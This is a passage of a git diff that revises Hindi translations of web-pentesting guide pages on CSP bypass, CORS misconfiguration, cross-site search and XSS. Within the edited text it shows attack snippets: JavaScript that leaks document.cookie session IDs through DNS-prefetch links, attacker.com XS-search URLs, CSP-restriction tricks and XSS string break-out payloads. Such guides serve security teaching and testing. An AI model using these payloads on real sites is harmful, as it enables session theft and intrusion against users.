**child-src**: वेब वर्कर्स और एम्बेडेड फ्रेम सामग्री के लिए अनुमत संसाधनों को निर्दिष्ट करता है। - **connect-src**: उन URLs को प्रतिबंधित करता है जिन्हें fetch, WebSocket, XMLHttpRequest जैसी इंटरफेस का उपयोग करके लोड किया जा सकता है। - **frame-src**: फ्रेम के लिए URLs को प्रतिबंधित करता है। -- **frame-ancestors**: निर्दिष्ट करता है कि कौन से स्रोत वर्तमान पृष्ठ को एम्बेड कर सकते हैं, जैसे कि ``, ` // The bot will load an URL with the payload @@ -546,18 +551,18 @@ run() अधिक जानकारी के लिए [**यहाँ मूल रिपोर्ट देखें**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)। -### CSP bypass by restricting CSP +### CSP बायपास द्वारा CSP को प्रतिबंधित करना -[**इस CTF लेखन में**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP को एक अनुमत iframe के अंदर एक अधिक प्रतिबंधात्मक CSP को इंजेक्ट करके बायपास किया गया है जो एक विशिष्ट JS फ़ाइल को लोड करने की अनुमति नहीं देता है, जो फिर, **प्रोटोटाइप प्रदूषण** या **DOM क्लॉबरिंग** के माध्यम से **एक अलग स्क्रिप्ट का दुरुपयोग करके एक मनमाना स्क्रिप्ट लोड करने** की अनुमति देता है। +[**इस CTF लेखन में**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP को एक अनुमत iframe के अंदर एक अधिक प्रतिबंधात्मक CSP को इंजेक्ट करके बायपास किया गया है जो एक विशिष्ट JS फ़ाइल को लोड करने की अनुमति नहीं देता है, जो फिर, **प्रोटोटाइप प्रदूषण** या **DOM क्लॉबरिंग** के माध्यम से **एक अलग स्क्रिप्ट का दुरुपयोग करके एक मनमाना स्क्रिप्ट लोड करने की अनुमति देता है**। -आप **`csp`** विशेषता के साथ **एक Iframe का CSP प्रतिबंधित कर सकते हैं**: +आप **`csp`** विशेषता के साथ एक Iframe के CSP को **प्रतिबंधित** कर सकते हैं: ```html ``` इस [**CTF लेख**](https://github.com/aszx87410/ctf-writeups/issues/48) में, **HTML injection** के माध्यम से **CSP** को अधिक **restrict** करना संभव था, जिससे CSTI को रोकने वाला एक स्क्रिप्ट निष्क्रिय हो गया और इसलिए **vulnerability exploitable हो गई।**\ -CSP को **HTML meta tags** का उपयोग करके अधिक restrictive बनाया जा सकता है और inline scripts को **removing** करके **entry** को निष्क्रिय किया जा सकता है, जिससे उनके **nonce** की अनुमति मिलती है और **sha** के माध्यम से विशिष्ट inline स्क्रिप्ट को सक्षम किया जा सकता है: +CSP को **HTML meta tags** का उपयोग करके अधिक restrictive बनाया जा सकता है और inline scripts को **removing** करके **entry** को निष्क्रिय किया जा सकता है, जिससे उनके **nonce** की अनुमति मिलती है और **sha** के माध्यम से विशिष्ट inline स्क्रिप्ट को **enable** किया जा सकता है: ```html ``` ### DNS Prefetch -पृष्ठों को तेजी से लोड करने के लिए, ब्राउज़र होस्टनाम को आईपी पते में पूर्व-समाधान करने और उन्हें बाद में उपयोग के लिए कैश करने जा रहे हैं।\ -आप एक ब्राउज़र को एक होस्टनाम को पूर्व-समाधान करने के लिए संकेत दे सकते हैं: `` +पृष्ठों को तेजी से लोड करने के लिए, ब्राउज़र होस्टनाम को आईपी पते में पूर्व-हल करने और उन्हें बाद में उपयोग के लिए कैश करने जा रहे हैं।\ +आप एक ब्राउज़र को एक होस्टनाम को पूर्व-हल करने के लिए संकेत दे सकते हैं: `` -आप इस व्यवहार का दुरुपयोग करके **DNS अनुरोधों के माध्यम से संवेदनशील जानकारी को एक्सफिल्ट्रेट** कर सकते हैं: +आप इस व्यवहार का दुरुपयोग करके **DNS अनुरोधों के माध्यम से संवेदनशील जानकारी को बाहर निकाल सकते हैं**: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] @@ -673,7 +678,7 @@ document.head.appendChild(linkEl) ``` X-DNS-Prefetch-Control: off ``` -> [!NOTE] +> [!TIP] > स्पष्ट रूप से, यह तकनीक हेडलेस ब्राउज़रों (बॉट्स) में काम नहीं करती है ### WebRTC @@ -731,6 +736,7 @@ iconURL:"https:"+your_data+"example.com" - [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) - [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) +- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket) ​ diff --git a/src/pentesting-web/cors-bypass.md b/src/pentesting-web/cors-bypass.md index 77666d97f..188053587 100644 --- a/src/pentesting-web/cors-bypass.md +++ b/src/pentesting-web/cors-bypass.md @@ -2,22 +2,22 @@ {{#include ../banners/hacktricks-training.md}} -## CORS क्या है? +## What is CORS? Cross-Origin Resource Sharing (CORS) मानक **सर्वरों को यह परिभाषित करने की अनुमति देता है कि कौन उनके संसाधनों तक पहुँच सकता है** और **कौन से HTTP अनुरोध विधियाँ बाहरी स्रोतों से अनुमत हैं**। -एक **same-origin** नीति यह अनिवार्य करती है कि एक **सर्वर जो** एक संसाधन का अनुरोध कर रहा है और जो सर्वर **संसाधन** होस्ट कर रहा है, उन्हें एक ही प्रोटोकॉल (जैसे, `http://`), डोमेन नाम (जैसे, `internal-web.com`), और **पोर्ट** (जैसे, 80) साझा करना चाहिए। इस नीति के तहत, केवल समान डोमेन और पोर्ट से वेब पृष्ठों को संसाधनों तक पहुँचने की अनुमति है। +एक **same-origin** नीति यह अनिवार्य करती है कि एक **सर्वर जो** एक संसाधन का अनुरोध कर रहा है और संसाधन को होस्ट करने वाला सर्वर एक ही प्रोटोकॉल (जैसे, `http://`), डोमेन नाम (जैसे, `internal-web.com`), और **पोर्ट** (जैसे, 80) साझा करें। इस नीति के तहत, केवल समान डोमेन और पोर्ट से वेब पृष्ठों को संसाधनों तक पहुँचने की अनुमति है। `http://normal-website.com/example/example.html` के संदर्भ में same-origin नीति का अनुप्रयोग निम्नलिखित रूप में दर्शाया गया है: | URL accessed | Access permitted? | | ----------------------------------------- | --------------------------------------- | -| `http://normal-website.com/example/` | हाँ: समान स्कीम, डोमेन, और पोर्ट | -| `http://normal-website.com/example2/` | हाँ: समान स्कीम, डोमेन, और पोर्ट | -| `https://normal-website.com/example/` | नहीं: भिन्न स्कीम और पोर्ट | -| `http://en.normal-website.com/example/` | नहीं: भिन्न डोमेन | -| `http://www.normal-website.com/example/` | नहीं: भिन्न डोमेन | -| `http://normal-website.com:8080/example/` | नहीं: भिन्न पोर्ट\* | +| `http://normal-website.com/example/` | Yes: Identical scheme, domain, and port | +| `http://normal-website.com/example2/` | Yes: Identical scheme, domain, and port | +| `https://normal-website.com/example/` | No: Different scheme and port | +| `http://en.normal-website.com/example/` | No: Different domain | +| `http://www.normal-website.com/example/` | No: Different domain | +| `http://normal-website.com:8080/example/` | No: Different port\* | \*Internet Explorer समान-उत्पत्ति नीति को लागू करते समय पोर्ट संख्या की अनदेखी करता है, जिससे इस पहुँच की अनुमति मिलती है। @@ -25,11 +25,11 @@ Cross-Origin Resource Sharing (CORS) मानक **सर्वरों को यह हेडर **कई उत्पत्तियों**, एक **`null`** मान, या एक वाइल्डकार्ड **`*`** की अनुमति दे सकता है। हालाँकि, **कोई भी ब्राउज़र कई उत्पत्तियों का समर्थन नहीं करता**, और वाइल्डकार्ड `*` के उपयोग पर **सीमाएँ** हैं। (वाइल्डकार्ड को अकेले उपयोग किया जाना चाहिए, और `Access-Control-Allow-Credentials: true` के साथ इसका उपयोग अनुमति नहीं है।) -यह हेडर **एक सर्वर द्वारा जारी किया जाता है** एक क्रॉस-डोमेन संसाधन अनुरोध के जवाब में जो एक वेबसाइट द्वारा शुरू किया गया है, जिसमें ब्राउज़र स्वचालित रूप से एक `Origin` हेडर जोड़ता है। +यह हेडर एक सर्वर द्वारा एक क्रॉस-डोमेन संसाधन अनुरोध के जवाब में जारी किया जाता है जो एक वेबसाइट द्वारा आरंभ किया गया है, जिसमें ब्राउज़र स्वचालित रूप से एक `Origin` हेडर जोड़ता है। ### `Access-Control-Allow-Credentials` Header -**डिफ़ॉल्ट** रूप से, क्रॉस-उत्पत्ति अनुरोध बिना क्रेडेंशियल्स जैसे कुकीज़ या ऑथराइजेशन हेडर के किए जाते हैं। फिर भी, एक क्रॉस-डोमेन सर्वर प्रतिक्रिया को पढ़ने की अनुमति दे सकता है जब क्रेडेंशियल्स भेजे जाते हैं, `Access-Control-Allow-Credentials` हेडर को **`true`** सेट करके। +**डिफ़ॉल्ट** रूप से, क्रॉस-उत्पत्ति अनुरोध बिना क्रेडेंशियल्स जैसे कुकीज़ या ऑथराइजेशन हेडर के किए जाते हैं। फिर भी, एक क्रॉस-डोमेन सर्वर क्रेडेंशियल्स भेजे जाने पर प्रतिक्रिया को पढ़ने की अनुमति दे सकता है जब वह `Access-Control-Allow-Credentials` हेडर को **`true`** पर सेट करता है। यदि इसे `true` पर सेट किया गया, तो ब्राउज़र क्रेडेंशियल्स (कुकीज़, ऑथराइजेशन हेडर, या TLS क्लाइंट सर्टिफिकेट) को संचारित करेगा। ```javascript @@ -64,9 +64,9 @@ xhr.send("Arun") जब विशेष परिस्थितियों के तहत क्रॉस-डोमेन अनुरोध शुरू किया जाता है, जैसे कि **गैर-मानक HTTP विधि** (HEAD, GET, POST के अलावा कुछ भी) का उपयोग करना, नए **हेडर** पेश करना, या एक विशेष **Content-Type हेडर मान** का उपयोग करना, तो एक प्री-फ्लाइट अनुरोध की आवश्यकता हो सकती है। यह प्रारंभिक अनुरोध, **`OPTIONS`** विधि का उपयोग करते हुए, सर्वर को आगामी क्रॉस-ओरिजिन अनुरोध के इरादों के बारे में सूचित करने के लिए है, जिसमें HTTP विधियाँ और हेडर शामिल हैं जिनका वह उपयोग करने का इरादा रखता है। -**क्रॉस-ओरिजिन रिसोर्स शेयरिंग (CORS)** प्रोटोकॉल इस प्री-फ्लाइट जांच की मांग करता है ताकि अनुरोधित क्रॉस-ओरिजिन ऑपरेशन की व्यवहार्यता का निर्धारण किया जा सके, जो अनुमत विधियों, हेडरों और मूल की विश्वसनीयता की पुष्टि करता है। प्री-फ्लाइट अनुरोध की आवश्यकता से बचने के लिए किन परिस्थितियों का पालन किया जाता है, इसके लिए [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) द्वारा प्रदान किए गए व्यापक गाइड का संदर्भ लें। +**क्रॉस-ओरिजिन रिसोर्स शेयरिंग (CORS)** प्रोटोकॉल इस प्री-फ्लाइट जांच की मांग करता है ताकि अनुरोधित क्रॉस-ओरिजिन संचालन की व्यवहार्यता का निर्धारण किया जा सके, जो अनुमत विधियों, हेडरों और मूल की विश्वसनीयता की पुष्टि करता है। प्री-फ्लाइट अनुरोध की आवश्यकता से बचने के लिए किन परिस्थितियों का पालन किया जाता है, इसके लिए [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) द्वारा प्रदान किए गए व्यापक गाइड का संदर्भ लें। -यह ध्यान रखना महत्वपूर्ण है कि **प्री-फ्लाइट अनुरोध की अनुपस्थिति प्रतिक्रिया के लिए प्राधिकरण हेडर ले जाने की आवश्यकता को समाप्त नहीं करती है**। इन हेडरों के बिना, ब्राउज़र क्रॉस-ओरिजिन अनुरोध से प्रतिक्रिया को संसाधित करने में असमर्थ है। +यह ध्यान रखना महत्वपूर्ण है कि **प्री-फ्लाइट अनुरोध की अनुपस्थिति प्रतिक्रिया के लिए प्राधिकरण हेडर ले जाने की आवश्यकता को समाप्त नहीं करती है**। इन हेडरों के बिना, ब्राउज़र क्रॉस-ओरिजिन अनुरोध से प्रतिक्रिया को संसाधित करने में असमर्थ होता है। `PUT` विधि का उपयोग करने के साथ-साथ `Special-Request-Header` नामक एक कस्टम हेडर का उपयोग करने के लिए प्री-फ्लाइट अनुरोध का निम्नलिखित चित्रण पर विचार करें: ``` @@ -77,7 +77,7 @@ Origin: https://example.com Access-Control-Request-Method: POST Access-Control-Request-Headers: Authorization ``` -इसके जवाब में, सर्वर हेडर वापस कर सकता है जो स्वीकृत विधियों, अनुमत मूल और अन्य CORS नीति विवरणों को इंगित करते हैं, जैसा कि नीचे दिखाया गया है: +उत्तर में, सर्वर हेडर वापस कर सकता है जो स्वीकृत विधियों, अनुमत मूल और अन्य CORS नीति विवरणों को इंगित करते हैं, जैसा कि नीचे दिखाया गया है: ```markdown HTTP/1.1 204 No Content ... @@ -88,19 +88,19 @@ Access-Control-Allow-Credentials: true Access-Control-Max-Age: 240 ``` - **`Access-Control-Allow-Headers`**: यह हेडर यह निर्दिष्ट करता है कि वास्तविक अनुरोध के दौरान कौन से हेडर का उपयोग किया जा सकता है। इसे सर्वर द्वारा सेट किया जाता है ताकि क्लाइंट से अनुरोधों में अनुमत हेडर का संकेत दिया जा सके। -- **`Access-Control-Expose-Headers`**: इस हेडर के माध्यम से, सर्वर क्लाइंट को सूचित करता है कि कौन से हेडर को साधारण प्रतिक्रिया हेडर के अलावा प्रतिक्रिया के हिस्से के रूप में उजागर किया जा सकता है। -- **`Access-Control-Max-Age`**: यह हेडर यह संकेत करता है कि प्री-फ्लाइट अनुरोध के परिणामों को कितनी देर तक कैश किया जा सकता है। सर्वर अधिकतम समय सेट करता है, सेकंड में, कि प्री-फ्लाइट अनुरोध द्वारा लौटाई गई जानकारी को कितनी बार पुनः उपयोग किया जा सकता है। +- **`Access-Control-Expose-Headers`**: इस हेडर के माध्यम से, सर्वर क्लाइंट को सूचित करता है कि कौन से हेडर सरल प्रतिक्रिया हेडर के अलावा प्रतिक्रिया के हिस्से के रूप में उजागर किए जा सकते हैं। +- **`Access-Control-Max-Age`**: यह हेडर यह दर्शाता है कि प्री-फ्लाइट अनुरोध के परिणामों को कितनी देर तक कैश किया जा सकता है। सर्वर अधिकतम समय सेट करता है, सेकंड में, कि प्री-फ्लाइट अनुरोध द्वारा लौटाई गई जानकारी को कितनी बार पुनः उपयोग किया जा सकता है। - **`Access-Control-Request-Headers`**: प्री-फ्लाइट अनुरोधों में उपयोग किया जाता है, यह हेडर क्लाइंट द्वारा सेट किया जाता है ताकि सर्वर को सूचित किया जा सके कि क्लाइंट वास्तविक अनुरोध में कौन से HTTP हेडर का उपयोग करना चाहता है। - **`Access-Control-Request-Method`**: यह हेडर, जो प्री-फ्लाइट अनुरोधों में भी उपयोग किया जाता है, क्लाइंट द्वारा सेट किया जाता है ताकि यह संकेत दिया जा सके कि वास्तविक अनुरोध में कौन सा HTTP विधि का उपयोग किया जाएगा। -- **`Origin`**: यह हेडर स्वचालित रूप से ब्राउज़र द्वारा सेट किया जाता है और क्रॉस-ओरिजिन अनुरोध के मूल को इंगित करता है। इसका उपयोग सर्वर द्वारा यह आकलन करने के लिए किया जाता है कि क्या आने वाले अनुरोध को CORS नीति के आधार पर अनुमति दी जानी चाहिए या अस्वीकृत किया जाना चाहिए। +- **`Origin`**: यह हेडर स्वचालित रूप से ब्राउज़र द्वारा सेट किया जाता है और क्रॉस-ओरिजिन अनुरोध के मूल को दर्शाता है। इसका उपयोग सर्वर द्वारा यह आकलन करने के लिए किया जाता है कि क्या आने वाले अनुरोध को CORS नीति के आधार पर अनुमति दी जानी चाहिए या अस्वीकृत किया जाना चाहिए। ध्यान दें कि आमतौर पर (सामग्री-प्रकार और सेट किए गए हेडर के आधार पर) एक **GET/POST अनुरोध में कोई प्री-फ्लाइट अनुरोध नहीं भेजा जाता** (अनुरोध **प्रत्यक्ष** भेजा जाता है), लेकिन यदि आप **प्रतिक्रिया के हेडर/शरीर** तक पहुंचना चाहते हैं, तो इसमें _Access-Control-Allow-Origin_ हेडर होना चाहिए जो इसकी अनुमति देता है।\ **इसलिए, CORS CSRF के खिलाफ सुरक्षा नहीं करता (लेकिन यह सहायक हो सकता है)।** ### **स्थानीय नेटवर्क अनुरोध प्री-फ्लाइट अनुरोध** -1. **`Access-Control-Request-Local-Network`**: यह हेडर क्लाइंट के अनुरोध में शामिल किया जाता है ताकि यह संकेत दिया जा सके कि पूछताछ स्थानीय नेटवर्क संसाधन के लिए है। यह सर्वर को सूचित करने के लिए एक मार्कर के रूप में कार्य करता है कि अनुरोध स्थानीय नेटवर्क के भीतर से उत्पन्न होता है। -2. **`Access-Control-Allow-Local-Network`**: इसके जवाब में, सर्वर इस हेडर का उपयोग यह संप्रेषित करने के लिए करते हैं कि अनुरोधित संसाधन को स्थानीय नेटवर्क के बाहर की संस्थाओं के साथ साझा करने की अनुमति है। यह विभिन्न नेटवर्क सीमाओं के पार संसाधनों को साझा करने के लिए एक हरी बत्ती के रूप में कार्य करता है, जबकि सुरक्षा प्रोटोकॉल को बनाए रखते हुए नियंत्रित पहुंच सुनिश्चित करता है। +1. **`Access-Control-Request-Local-Network`**: यह हेडर क्लाइंट के अनुरोध में शामिल किया जाता है ताकि यह संकेत दिया जा सके कि पूछताछ एक स्थानीय नेटवर्क संसाधन के लिए है। यह सर्वर को सूचित करने के लिए एक मार्कर के रूप में कार्य करता है कि अनुरोध स्थानीय नेटवर्क के भीतर से उत्पन्न होता है। +2. **`Access-Control-Allow-Local-Network`**: इसके जवाब में, सर्वर इस हेडर का उपयोग यह संप्रेषित करने के लिए करते हैं कि अनुरोधित संसाधन को स्थानीय नेटवर्क के बाहर की संस्थाओं के साथ साझा करने की अनुमति है। यह विभिन्न नेटवर्क सीमाओं के पार संसाधनों को साझा करने के लिए हरी बत्ती के रूप में कार्य करता है, जबकि सुरक्षा प्रोटोकॉल को बनाए रखते हुए नियंत्रित पहुंच सुनिश्चित करता है। एक **मान्य प्रतिक्रिया जो स्थानीय नेटवर्क अनुरोध की अनुमति देती है** को प्रतिक्रिया में `Access-Controls-Allow-Local_network: true` हेडर भी होना चाहिए: ``` @@ -129,15 +129,15 @@ Access-Control-Allow-Credentials: true ## शोषणीय गलत कॉन्फ़िगरेशन -यह देखा गया है कि `Access-Control-Allow-Credentials` को **`true`** पर सेट करना अधिकांश **वास्तविक हमलों** के लिए एक पूर्वापेक्षा है। यह सेटिंग ब्राउज़र को क्रेडेंशियल्स भेजने और प्रतिक्रिया पढ़ने की अनुमति देती है, जिससे हमले की प्रभावशीलता बढ़ती है। इसके बिना, ब्राउज़र को अनुरोध करने के लाभ को स्वयं करने की तुलना में कम कर दिया जाता है, क्योंकि उपयोगकर्ता के कुकीज़ का लाभ उठाना असंभव हो जाता है। +यह देखा गया है कि `Access-Control-Allow-Credentials` को **`true`** पर सेट करना अधिकांश **वास्तविक हमलों** के लिए एक पूर्वापेक्षा है। यह सेटिंग ब्राउज़र को क्रेडेंशियल्स भेजने और प्रतिक्रिया पढ़ने की अनुमति देती है, जिससे हमले की प्रभावशीलता बढ़ती है। इसके बिना, ब्राउज़र को अनुरोध जारी करने का लाभ स्वयं करने की तुलना में कम हो जाता है, क्योंकि उपयोगकर्ता के कुकीज़ का लाभ उठाना असंभव हो जाता है। ### अपवाद: प्रमाणीकरण के रूप में नेटवर्क स्थान का शोषण -एक अपवाद है जहाँ पीड़ित का नेटवर्क स्थान प्रमाणीकरण के एक रूप के रूप में कार्य करता है। यह पीड़ित के ब्राउज़र का उपयोग एक प्रॉक्सी के रूप में करने की अनुमति देता है, आईपी-आधारित प्रमाणीकरण को दरकिनार करते हुए इंट्रानेट अनुप्रयोगों तक पहुँचने के लिए। इस विधि का प्रभाव DNS रीबाइंडिंग के साथ समानताएँ साझा करता है लेकिन इसे शोषण करना सरल है। +एक अपवाद है जहां पीड़ित का नेटवर्क स्थान प्रमाणीकरण के एक रूप के रूप में कार्य करता है। यह पीड़ित के ब्राउज़र का उपयोग एक प्रॉक्सी के रूप में करने की अनुमति देता है, आईपी-आधारित प्रमाणीकरण को दरकिनार करते हुए इंट्रानेट अनुप्रयोगों तक पहुंचने के लिए। यह विधि DNS रीबाइंडिंग के प्रभाव में समानताएँ साझा करती है लेकिन इसे शोषण करना सरल है। ### `Access-Control-Allow-Origin` में `Origin` का परावर्तन -वास्तविक परिदृश्य जहाँ `Origin` हेडर का मान `Access-Control-Allow-Origin` में परावर्तित होता है, सिद्धांत रूप से असंभव है क्योंकि इन हेडरों को संयोजित करने पर प्रतिबंध हैं। हालाँकि, डेवलपर्स जो कई URL के लिए CORS सक्षम करना चाहते हैं, वे `Origin` हेडर के मान को कॉपी करके `Access-Control-Allow-Origin` हेडर को गतिशील रूप से उत्पन्न कर सकते हैं। यह दृष्टिकोण कमजोरियों को पेश कर सकता है, विशेष रूप से जब एक हमलावर एक ऐसा डोमेन उपयोग करता है जिसका नाम वैध प्रतीत होने के लिए डिज़ाइन किया गया है, जिससे मान्यता लॉजिक को धोखा दिया जा सके। +वास्तविक परिदृश्य जहां `Origin` हेडर का मान `Access-Control-Allow-Origin` में परावर्तित होता है, सिद्धांत रूप से असंभव है क्योंकि इन हेडरों को संयोजित करने पर प्रतिबंध हैं। हालाँकि, डेवलपर्स जो कई URL के लिए CORS सक्षम करना चाहते हैं, वे `Origin` हेडर के मान को कॉपी करके `Access-Control-Allow-Origin` हेडर को गतिशील रूप से उत्पन्न कर सकते हैं। यह दृष्टिकोण कमजोरियों को पेश कर सकता है, विशेष रूप से जब एक हमलावर एक ऐसा डोमेन उपयोग करता है जिसका नाम वैध प्रतीत होने के लिए डिज़ाइन किया गया है, जिससे प्रमाणीकरण लॉजिक को धोखा दिया जा सके। ```html ``` -### `null` Origin का लाभ उठाना +### `null` Origin का शोषण -`null` origin, जिसे रीडायरेक्ट या स्थानीय HTML फ़ाइलों जैसी स्थितियों के लिए निर्दिष्ट किया गया है, एक अद्वितीय स्थिति रखता है। कुछ अनुप्रयोग इस origin को स्थानीय विकास को सुविधाजनक बनाने के लिए व्हाइटलिस्ट करते हैं, जिससे अनजाने में कोई भी वेबसाइट एक sandboxed iframe के माध्यम से `null` origin की नकल कर सकती है, इस प्रकार CORS प्रतिबंधों को बायपास कर सकती है। +`null` origin, जिसे रीडायरेक्ट या स्थानीय HTML फ़ाइलों जैसी स्थितियों के लिए निर्दिष्ट किया गया है, एक अद्वितीय स्थिति रखता है। कुछ अनुप्रयोग इस origin को स्थानीय विकास को सुविधाजनक बनाने के लिए व्हाइटलिस्ट करते हैं, जिससे अनजाने में किसी भी वेबसाइट को एक sandboxed iframe के माध्यम से `null` origin की नकल करने की अनुमति मिलती है, इस प्रकार CORS प्रतिबंधों को बायपास किया जा सकता है। ```html @@ -131,19 +133,19 @@ xs-search/performance.now-+-force-heavy-task.md - **Inclusion Methods**: Frames - **Detectable Difference**: Page Content - **More info**: -- **Summary**: यदि आप सही सामग्री को एक्सेस करते समय पृष्ठ में त्रुटि उत्पन्न कर सकते हैं और किसी भी सामग्री को एक्सेस करते समय इसे सही ढंग से लोड कर सकते हैं, तो आप सभी जानकारी निकालने के लिए एक लूप बना सकते हैं बिना समय मापे। +- **Summary**: यदि आप सही सामग्री को एक्सेस करते समय पृष्ठ में त्रुटि उत्पन्न कर सकते हैं और किसी भी सामग्री को एक्सेस करते समय इसे सही तरीके से लोड कर सकते हैं, तो आप सभी जानकारी निकालने के लिए एक लूप बना सकते हैं बिना समय मापे। - **Code Example**: मान लीजिए कि आप **iframe के अंदर** **गुप्त** सामग्री वाला **पृष्ठ** **डाल सकते हैं**। -आप **पीड़ित को खोजने के लिए** कह सकते हैं कि वह "_**flag**_" वाला फ़ाइल **Iframe** का उपयोग करके खोजे (उदाहरण के लिए CSRF का शोषण करते हुए)। Iframe के अंदर आप जानते हैं कि _**onload event**_ हमेशा **कम से कम एक बार** **निष्पादित** होगा। फिर, आप **iframe** के **URL** को **बदल सकते हैं** लेकिन केवल **hash** के **content** को बदलकर। +आप **पीड़ित को खोजने के लिए मजबूर कर सकते हैं** उस फ़ाइल के लिए जिसमें "_**flag**_" है, एक **Iframe** का उपयोग करके (उदाहरण के लिए CSRF का शोषण करते हुए)। Iframe के अंदर आप जानते हैं कि _**onload event**_ हमेशा **कम से कम एक बार** **निष्पादित** होगा। फिर, आप **iframe** के **URL** को **बदल सकते हैं** लेकिन केवल **hash** के **content** को बदलकर। उदाहरण के लिए: 1. **URL1**: www.attacker.com/xssearch#try1 2. **URL2**: www.attacker.com/xssearch#try2 -यदि पहला URL **सफलतापूर्वक लोड** हुआ, तो, जब आप **URL** के **hash** भाग को **बदलते हैं**, तो **onload** इवेंट **फिर से ट्रिगर नहीं होगा**। लेकिन **यदि** पृष्ठ में **लोडिंग** के समय कोई प्रकार की **त्रुटि** थी, तो, **onload** इवेंट **फिर से ट्रिगर होगा**। +यदि पहला URL **सफलतापूर्वक लोड** हुआ, तो, जब आप **URL के hash** भाग को **बदलते हैं**, तो **onload** इवेंट **फिर से सक्रिय नहीं होगा**। लेकिन **यदि** पृष्ठ लोड करते समय किसी प्रकार की **त्रुटि** थी, तो **onload** इवेंट **फिर से सक्रिय होगा**। तब, आप **सही** लोड किए गए पृष्ठ या पृष्ठ के बीच **भेद कर सकते हैं** जिसमें **त्रुटि** है जब इसे एक्सेस किया जाता है। @@ -155,6 +157,7 @@ xs-search/performance.now-+-force-heavy-task.md - **Summary:** यदि **पृष्ठ** **संवेदनशील** सामग्री **वापस कर रहा है**, **या** एक **सामग्री** जो उपयोगकर्ता द्वारा **नियंत्रित** की जा सकती है। उपयोगकर्ता **नकारात्मक मामले** में **मान्य JS कोड सेट कर सकता है**, और **``** टैग के बीच, एक HTML पृष्ठ के अंदर, एक `.js` फ़ाइल के अंदर या एक विशेषता के अंदर **`javascript:`** प्रोटोकॉल का उपयोग करते हुए परिलक्षित होता है: - यदि यह **``** टैग के बीच परिलक्षित होता है, तो भले ही आपका इनपुट किसी भी प्रकार के उद्धरण के अंदर हो, आप `` को इंजेक्ट करने और इस संदर्भ से बाहर निकलने का प्रयास कर सकते हैं। यह काम करता है क्योंकि **ब्राउज़र पहले HTML टैग को पार्स करेगा** और फिर सामग्री को, इसलिए यह नहीं देखेगा कि आपका इंजेक्ट किया गया `` टैग HTML कोड के अंदर है। -- यदि यह **JS स्ट्रिंग के अंदर** परिलक्षित होता है और अंतिम ट्रिक काम नहीं कर रही है, तो आपको स्ट्रिंग से **बाहर निकलने**, अपने कोड को **निष्पादित करने** और JS कोड को **पुनर्निर्माण** करने की आवश्यकता होगी (यदि कोई त्रुटि है, तो इसे निष्पादित नहीं किया जाएगा): +- यदि यह **JS स्ट्रिंग के अंदर** परिलक्षित होता है और अंतिम ट्रिक काम नहीं कर रही है, तो आपको स्ट्रिंग से **बाहर निकलना**, **कोड को निष्पादित करना** और **JS कोड को पुनर्निर्माण** करना होगा (यदि कोई त्रुटि है, तो इसे निष्पादित नहीं किया जाएगा): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` @@ -85,24 +85,25 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting का मतलब है **फंक्शंस, वेरिएबल्स या क्लासेस को उनके उपयोग के बाद घोषित करने का अवसर ताकि आप उन परिदृश्यों का दुरुपयोग कर सकें जहां XSS अघोषित वेरिएबल्स या फंक्शंस का उपयोग कर रहा है।**\ +Javascript Hoisting का मतलब है **फंक्शंस, वेरिएबल्स या क्लासेस को उनके उपयोग के बाद घोषित करने का अवसर, ताकि आप उन परिदृश्यों का दुरुपयोग कर सकें जहां XSS अघोषित वेरिएबल्स या फंक्शंस का उपयोग कर रहा है।**\ **अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:** + {{#ref}} js-hoisting.md {{#endref}} ### Javascript Function -कई वेब पृष्ठों में ऐसे एंडपॉइंट होते हैं जो **कार्यक्रम को निष्पादित करने के लिए फंक्शन का नाम पैरामीटर के रूप में स्वीकार करते हैं**। एक सामान्य उदाहरण जो वास्तविक जीवन में देखने को मिलता है वह है: `?callback=callbackFunc`. +कई वेब पृष्ठों में ऐसे एंडपॉइंट होते हैं जो **कार्यक्रम को निष्पादित करने के लिए फंक्शन के नाम को पैरामीटर के रूप में स्वीकार करते हैं**। एक सामान्य उदाहरण जो अक्सर देखने को मिलता है वह है: `?callback=callbackFunc`. यह पता लगाने का एक अच्छा तरीका है कि क्या उपयोगकर्ता द्वारा सीधे दिया गया कुछ निष्पादित करने की कोशिश कर रहा है, **पैरामीटर मान को संशोधित करना** (उदाहरण के लिए 'Vulnerable' में) और कंसोल में त्रुटियों की तलाश करना जैसे: ![](<../../images/image (711).png>) -यदि यह संवेदनशील है, तो आप केवल मान भेजकर **एक अलर्ट ट्रिगर** कर सकते हैं: **`?callback=alert(1)`**। हालांकि, यह बहुत सामान्य है कि ये एंडपॉइंट **सामग्री को मान्य करेंगे** ताकि केवल अक्षर, संख्या, बिंदु और अंडरस्कोर को अनुमति दी जा सके (**`[\w\._]`**). +यदि यह संवेदनशील है, तो आप केवल मान भेजकर **एक अलर्ट ट्रिगर** कर सकते हैं: **`?callback=alert(1)`**। हालाँकि, यह बहुत सामान्य है कि ये एंडपॉइंट **सामग्री को मान्य करेंगे** ताकि केवल अक्षर, संख्या, बिंदु और अंडरस्कोर (**`[\w\._]`**) की अनुमति दी जा सके। -हालांकि, उस सीमा के बावजूद कुछ क्रियाएँ करना अभी भी संभव है। इसका कारण यह है कि आप उन मान्य वर्णों का उपयोग करके **DOM में किसी भी तत्व तक पहुँच सकते हैं**: +हालांकि, इस सीमा के बावजूद कुछ क्रियाएँ करना अभी भी संभव है। इसका कारण यह है कि आप उन मान्य वर्णों का उपयोग करके **DOM में किसी भी तत्व तक पहुँच सकते 